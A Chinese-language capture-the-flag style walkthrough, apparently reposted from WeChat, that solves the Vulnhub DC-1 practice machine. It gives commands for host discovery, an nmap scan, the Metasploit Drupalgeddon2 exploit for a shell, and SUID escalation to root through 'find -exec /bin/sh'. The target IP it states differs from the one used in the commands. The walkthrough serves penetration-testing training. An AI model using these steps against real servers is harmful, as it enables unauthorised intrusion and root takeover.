Vulnhub是一个提供了带有各种漏洞的靶机网站,特别适合初学者渗透测试实战演练,我接下来对于vulnhub的DC系列九个靶机通过图文结合的方式做出详解,我们不仅仅要完成靶机作者所要求的任务,而且还应该发散思路寻找不同的方法寻求突破!
靶机配置及说明
靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/
靶机:DC1 (VMware ) IP:192.168.216.148
攻击机:Kali(VMware ) IP:192.168.216.146
特别说明:每个靶机作者都对靶机做了详细的描述以及攻击目标,比如DC1就需要找到5个flag,最终目标是在root的主目录中找到并读取该标志!
渗透方法:
-
使用 netdiscover 进行 IP 发现
-
网络扫描(Nmap)
-
寻找 Drupal CMS
-
利用 Drupalgeddon2 获取反向shell
-
利用suid提权
-
查找设置了 SUID 位的“ find”命令
-
使用“find”命令获取 root shell
-
获得最终标志
首先让DC-1和kali处于一个内网
进行主机发现
netdiscover
DC-1的主机地址
知道地址后进行信息收集
在渗透测试中信息收集是第一步,也是最重要的一步
nmap -sV 192.168.1.104
直接用nmap查看了开放了什么端口服务
可以看到开放了80端口
打开浏览器访问,看到是一个Drupal程序
直接打开msfconsole,搜索drupal的exploit
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.1.104
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
设置好后,直接run
run后拿到shell权限,进入到shell,把命令行进行交互式设置下
python -c 'import pty; pty.spawn("/bin/bash")'
之后利用到这条命令,进行查找SUID权限的程序
find / -perm -u=s -type f 2>/dev/null
suid提权
什么是SUID
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
之后直接利用find进行提权
touch raj
find raj -exec "whoami" ;
find raj -exec "/bin/sh" ;
拿到root权限!成功!
原文始发于微信公众号(黑战士):vulnhub靶机渗透系列教程之DC-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论